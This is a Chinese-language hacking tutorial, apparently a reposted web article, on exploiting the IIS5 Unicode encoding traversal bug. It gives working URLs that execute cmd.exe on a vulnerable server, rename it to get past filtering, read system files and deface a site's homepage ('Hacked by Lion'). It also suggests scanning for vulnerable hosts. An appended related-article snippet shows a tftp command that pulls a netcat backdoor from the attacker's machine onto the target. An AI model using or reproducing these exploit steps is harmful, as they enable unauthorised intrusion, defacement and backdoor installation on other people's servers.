IIS5 UNICODE 编码漏洞的利用心得

iis|编码|心得

  大家一定都知道那个风光了很久的IIS5 UNICODE 编码漏洞吧。没办法,第一篇教程不知道写什么好,随便先凑合着,
就写一下这个漏洞的攻击心得吧。

1 首先我们来看看这个漏洞的原理。
在中文版的IIS4,和ISS5中,存在一个BUG,原因是UNICODE编码 存在BUG 在UNICODE 编码中,发现了一个奇怪的编码方
式,

例如:

%c1%hh %c0%hh (0x00〈= 0xhh 〈 0x40)
IIS 把 "%c1%hh" 编码成(0xc1 -0xc0) * 0x40 + 0xhh.

例如
(Windows 2000 + IIS 5.0 + SP1 简体中文版):
http://192.168.8.48/A.ida/%c1%00.ida
IIS 将返回"@.ida" 找不到该文件 在这里 (0xc1-0xc0)*0x40+0x00=0x40='@'

http://192.168.8.48/A.ida/%c1%01.ida
IIS 将返回 "A.ida" 找不到该文件 这里 (0xc1-0xc0)*0x40+0x01=0x41='A'

http://192.168.8.48/A.ida/%c1%02.ida
IIS 将返回 "B.ida" 找不到该文件 ....

http://192.168.8.48/A.ida/%c0%21.ida
IIS 将返回 "!.ida" 找不到该文件

这就意味着你能利用这些编码的特点。

例如:
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'

所以我们就可以用这种方法进入一些目录。

(1)http://192.168.8.48/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

这样我们将得到
Directory of d:\inetpub\scripts
2000-09-28 15:49 〈DIR〉
.   1999-07-21 17:49 147,456
Count.exe 2000-09-12 17:08 438,290
Count25.exe 2000-10-13 15:03 8,867
counter.err 2000-08-23 23:07 160,002
counter.exe 1999-05-25 18:14 3,925
CountNT.html 1999-07-21 17:49 64,512
extdgts.exe 2000-08-10 15:24 46,352
ism.dll 1999-07-21 17:49 64,512
mkstrip.exe 1999-05-25 18:181,317
README.txt 2000-09-28 15:49

〈DIR〉 wcount 9 File(s) 935,233 bytes

(2) 我们也可以利用此BUG得到一些系统文件的内容
http://192.168.8.48/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
IIS 将把它当作 a .ASP 文件提交.它将让 asp.dll 来打开文件win.ini
如果用 IIS 4.0+SP6(中文版), 将不能测试成功 但是我们能用下列方法得到。
http://192.168.8.100/default.asp/a.exe/..%c1%1c../..%c1%1c../winnt/winnt.ini

"default.asp" 是一个存在的 .ASP 文件, "a.exe" 是一个随机的 .EXE 文件名. 它可以不存在。
打上SP1仍然还有这种编码问题。

在英文版本中使用 %c1%af 能正常利用这个漏洞。

2.了解了漏洞的详细资料。让我们来说说怎么利用。
a.利用IISExploitSearcher这个软件,我们来找有这个漏洞的主机。
虽然这个漏洞公布很久了, 但你仍然会发现,你可以找到很多这种机器。
假如我们已经找到了一台有这个漏洞的机器。

让我们来进行下面的操作。

b.http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe

这个URL语句的执行的命令是:利用NT/2000下的命令解释程序cmd.exe来执行一个拷贝命令。

copy c:\winnt\system32\cmd.exe ccc.exe

它把c:\winnt\system32\cmd.exe 拷贝到了c:\inetpub\scripts\ccc.exe

就是DOS命令中的空格,在URL中就要换成“+”号。

你要执行copy c:\winnt\system32\cmd.exe ccc.exe

相对应的是http://ip/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe

其中/scripts/..%c1%1c../winnt/system32/cmd.exe?/c是固定的,他的作用是调用c:\winnt\system32\cmd.exe来执行命
令。

噢,忘了说为什么要拷贝cmd.exe了。

因为微软的iis加载程序的时候检测到有串cmd.exe的话就要检测特殊字符“&(,;%<>”,所以必须改名。

c.这时c:\winnt\system32\cmd.exe已经拷贝到了c:\inetpub\scripts\ccc.exe

通过

http://ip/scripts/ccc.exe?/c

我们就可以调用到cmd.exe了,就是说不用那个编码了。

http://ip/scripts/ccc.exe?/c+echo+Hacked+by+Lion+>+c:\inetpub\wwwroot\default.asp

http://192.168.8.48/scripts/ccc.exe?/c+echo+20/10/2000+>>+c:\inetpub\wwwroot\default.asp

主页面就被修改成了:

Hacked by Lion

20/10/2000

也就是说,已经把他的主页黑了。

:P

下面是一些解释。

其中echo 是一个回显命令。

你在DOS下打一个echo Hacked by Lion 看看。

它是在屏幕上显示

Hacked by Lion

不只这样

你也可以让它把东西写进一个文件。

echo Hacked by Lion > lion.txt

这样当前目录下的lion.txt文件里就有了Hacked by Lion的字样。

其中 > lion.txt的用途是把回显的字符写进lion.txt,它覆盖原来的内容。

你如果再想用echo 20/10/2000 > lion.txt 来写剩下的内容的话,

你会发现它覆盖了原来的内容Hacked by Lion。

怎么办呢?别急!

echo Hacked by Lion > lion.txt

echo 20/10/2000 >> lion.txt

看看吧

文件里面的是

Hacked by Lion

20/10/2000

成功了。

这样,就可以用上面的解释,把空格用"+"代替,就可以向别人的主页写任何东西了。

补充一点

好多站点\inetpub\下的scripts目录删除了, 但\Program Files\Common Files\System\下 的msadc还在

(有msadcs.dll漏洞的话就不用 %c1%1c了)。

这时可以如下构造请求:

http://ip/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\

就能调用到cmd.exe

3.当然,我们也不能只停留在黑主页的地步,当然想进一步控制整个机器了。

:P

下面来说说几种方法来控制这个机器。

a. 如果c:\winn

时间: 2025-01-26 22:12:25

IIS5 UNICODE 编码漏洞的利用心得的相关文章

IIS5 UNICODE 编码漏洞的利用心得补充

iis|编码|心得 看了你的文章[unicode]写的很好, 我来说说用tftp怎么搞: 下载http://www.cners.com/tools/unicode.zip(下载快着呢) 解压: tftpd32.exe ncx99.exe 本机运行tftpd32.exe 再(接着你的来): http://192.168.8.48/scripts/ccc.exe?/c+tftp -i 本地ip GET ncx99.exe c:\\inetpub\\scripts\\hihi.exe 注意了:这是将你

Unicode编码完全探究

一.文章来由 好久没有写博客了,最近博主再做一个比较大的项目,这个项目可能要延续到明年4月份左右,不过我还是尽量找时间写博客.说完题外话,关于这个题目选择,因为这是一个没有完全搞懂的问题,所以需要把它搞懂~~ 二.从ASCII码说起 1.ASCII的出现 我们知道,在计算机内部,所有的信息最终都表示为一个二进制的字符串.每一个二进制位(bit)有0和1两种状态,因此八个二进制位就可以组合出256种状态,这被称为一个字节(byte).也就是说,一个字节一共可以用来表示256种不同的状态,每一个状态

详解Python2.x中对Unicode编码的使用_python

我确定有很多关于Unicode和Python的说明,但为了方便自己的理解使用,我还是打算再写一些关于它们的东西.  字节流 vs Unicode对象 我们先来用Python定义一个字符串.当你使用string类型时,实际上会储存一个字节串.   [ a ][ b ][ c ] = "abc" [ 97 ][ 98 ][ 99 ] = "abc" 在这个例子里,abc这个字符串是一个字节串.97.,98,,99是ASCII码.Python 2.x版本的一个不足之处就是

Unicode编码大揭秘_其它综合

如果你是一个生活在2003年的程序员,却不了解字符.字符集.编码和Unicode这些基础知识.那你可要小心了,要是被我抓到你,我会让你在潜水艇里剥六个月洋葱来惩罚你. 这个邪恶的恐吓是Joel Spolsky在十年前首次发出的.不幸的是,很多人认为他只是在开玩笑,因此,现在仍有许多人不能完全理解Unicode,以及Unicode.UTF-8.UTF-16之间的区别.这就是我写这篇文章的原因. 言归正传,设想在一个晴朗的下午,你收到一封电子邮件,它来自一个你高中之后就失去联系的朋友,并带有一个tx

unicode编码转换:PHP将汉字转换成Unicode编码的函数

这是一个将汉字转换成Unicode编码的PHP函数,支持GBK和UTF8编码.function uni_decode ($uncode){$word = json_decode(preg_replace_callback('/(\d{5});/', create_function('$dec', 'return \'\\u\'.dechex($dec[1]);'), '"'.$uncode.'"'));return $word;}对 Unicode 转换为汉字function uni_

[叩响C#之门]第2章 2.3.5 ASCII编码和Unicode编码

2.3.5 ASCⅡ编码和Unicode编码 QQ上曾经流行着这么一个游戏:将光标定位在QQ聊天窗口里,按信Alt键不放,用小键盘输入数字29482,然后放开Alt键,将会出现你自己的名字.当你尝试以后却发现,结果是出现一个"猪"字!你的第一个反应是震惊,第二个反应就是疑惑了吧.为什么会有这样的事呢?

PHP中的UNICODE 编码与解码

本篇文章是对PHP中的UNICODE 编码与解码进行了详细的分析介绍,需要的朋友参考下   方法一: 复制代码 代码如下: <?php function unicode_encode($name) { $name = iconv('UTF-8', 'UCS-2', $name); $len = strlen($name); $str = ''; for ($i = 0; $i < $len - 1; $i = $i + 2) { $c = $name[$i]; $c2 = $name[$i +

unicode编码-C++编程,文件路径保存在txt文件里,如果删除实现按路径删除

问题描述 C++编程,文件路径保存在txt文件里,如果删除实现按路径删除 开发环境 vs2010 扫描C盘的tmp文件扫描后把文件路径保存在txt文件里如果删除实现按路径删除 txt是unicode编码的, #include "stdafx.h" #include #include #include #include #include using namespace std; #define STR_SAVETEMPFILEINFO_FILENAME L"C:alltemp.

图片加水印时文本为unicode编码乱码问题

问题描述 请教一个问题.我在把文字写入图片时,如果字符串为unicode编码的话,生成的图片部分字符乱码,不过这个字符串如果使用log4j编码为utf-8打印到日志文件时是正常的,但在console控制台打印出来跟图片是一样的,也是部分字符乱码那.但在debug时看到的字符串是正常的,写到图片里就乱码了.代码如下:/** * <pre> * 文字水印. * 超过屏幕可视区宽度时自动换行: * </pre> * * @param pressTexts 水印文字,字符串数组 * @pa